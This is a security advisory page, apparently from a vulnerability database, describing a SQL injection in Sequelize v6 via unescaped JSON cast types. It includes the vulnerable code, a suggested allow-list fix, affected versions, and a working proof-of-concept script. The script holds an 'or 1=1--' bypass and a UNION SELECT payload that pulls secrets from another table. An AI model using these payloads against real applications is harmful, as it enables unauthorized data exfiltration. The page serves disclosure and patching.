Hoch

Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type

  • Veröffentlicht: 11.03.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.

Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.

Details

In src/dialects/abstract/query-generator.js, _traverseJSON() extracts a cast type from :: in JSON keys without validation:

js
// line 1892
_traverseJSON(items, baseKey, prop, item, path) {
    let cast;
    if (path[path.length - 1].includes("::")) {
      const tmp = path[path.length - 1].split("::");
      cast = tmp[1];       // attacker-controlled, no escaping
      path[path.length - 1] = tmp[0];
    }
    // ...
    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
}

_castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:

js
return `CAST(${result} AS ${smth.type.toUpperCase()})`;

JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.

Suggested fix — whitelist known SQL data types:

js
const ALLOWED_CAST_TYPES = new Set([
  'integer', 'text', 'real', 'numeric', 'boolean', 'date',
  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',
  'double precision', 'bigint', 'smallint', 'varchar', 'char',
]);

if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {
  throw new Error(`Invalid cast type: ${cast}`);
}

PoC

npm install sequelize@6.37.7 sqlite3

js
const { Sequelize, DataTypes } = require('sequelize');

async function main() {
  const sequelize = new Sequelize('sqlite::memory:', { logging: false });

  const User = sequelize.define('User', {
    username: DataTypes.STRING,
    metadata: DataTypes.JSON,
  });

  const Secret = sequelize.define('Secret', {
    key: DataTypes.STRING,
    value: DataTypes.STRING,
  });

  await sequelize.sync({ force: true });

  await User.bulkCreate([
    { username: 'alice', metadata: { role: 'admin', level: 10 } },
    { username: 'bob',   metadata: { role: 'user',  level: 5 } },
    { username: 'charlie', metadata: { role: 'user', level: 1 } },
  ]);

  await Secret.bulkCreate([
    { key: 'api_key', value: 'sk-secret-12345' },
    { key: 'db_password', value: 'super_secret_password' },
  ]);

  // TEST 1: WHERE clause bypass
  const r1 = await User.findAll({
    where: { metadata: { 'role::text) or 1=1--': 'anything' } },
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('OR 1=1:', r1.map(u => u.username));
  // Returns ALL rows: ['alice', 'bob', 'charlie']

  // TEST 2: UNION-based cross-table exfiltration
  const r2 = await User.findAll({
    where: {
      metadata: {
        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
      }
    },
    raw: true,
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));
  // Returns: api_key=sk-secret-12345, db_password=super_secret_password
}

main().catch(console.error);

Output:

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';
OR 1=1: [ 'alice', 'bob', 'charlie' ]

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0
  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';
UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]

Impact

SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).

A common vulnerable pattern:

js
app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: { metadata: req.body.filter }  // user controls JSON object keys
  });
  res.json(users);
});

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket sequelize >= 6.0.0-beta.1, < 6.37.8 6.37.8

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Schwäche (CWE)
CWE-89
Plattform
npm
Paket
sequelize
Veröffentlicht
11.03.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-6457-6jrx-69cr - CC BY 4.0

Schwachstellenhistorie: sequelize

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (18) im Archiv
Einträge insgesamt
18
Erste → letzte
10.2017 08.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 8
  • Hoch 7
  • Mittel 3

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 9
  4. 2020: 2
  5. 2021: 0
  6. 2022: 0
  7. 2023: 4
  8. 2024: 0
  9. 2025: 0
  10. 2026: 2
Schweregrad:
  1. Kritisch · 9.8 CVE-2026-69240 < 6.37.4 6.37.4
  2. Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type dieser Eintrag
    Hoch · 7.5 CVE-2026-30951 >= 6.0.0-beta.1, < 6.37.8 6.37.8
  3. Kritisch · 10.0 CVE-2023-22578 < 6.29.0 6.29.0
  4. Kritisch · 9.9 CVE-2023-22579 < 6.28.1 6.28.1
  5. Kritisch · 10.0 CVE-2023-25813 < 6.19.1 6.19.1
  6. Kritisch · 9.8 CVE-2016-1000225 >= 3.4.0, < 3.23.6 3.23.6
  7. Kritisch · 9.8 CVE-2019-10749 < 3.35.1 3.35.1
  8. Kritisch · 9.8 CVE-2019-10748 < 3.35.1, >= 4.0.0, < 4.44.3, >= 5.0.0, < 5.8.11 3.35.1, 4.44.3, 5.8.11
  9. Kritisch · 9.8 CVE-2019-10752 < 4.44.3, >= 5.0.0, < 5.15.1 4.44.3, 5.15.1
  10. Hoch ghsa-wfp9-vr4j-f49j < 4.12.0 4.12.0
  11. Hoch · 7.5 CVE-2019-11069 >= 5.0.0, < 5.3.0 5.3.0
  12. Hoch CVE-2016-10550 < 3.17.0 3.17.0
  13. Hoch CVE-2016-10553 < 3.0.0 3.0.0
  14. Hoch · 7.5 CVE-2016-10556 < 3.20.0 3.20.0
  15. Hoch CVE-2015-1369 < 2.0.0-rc8 2.0.0-rc8

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.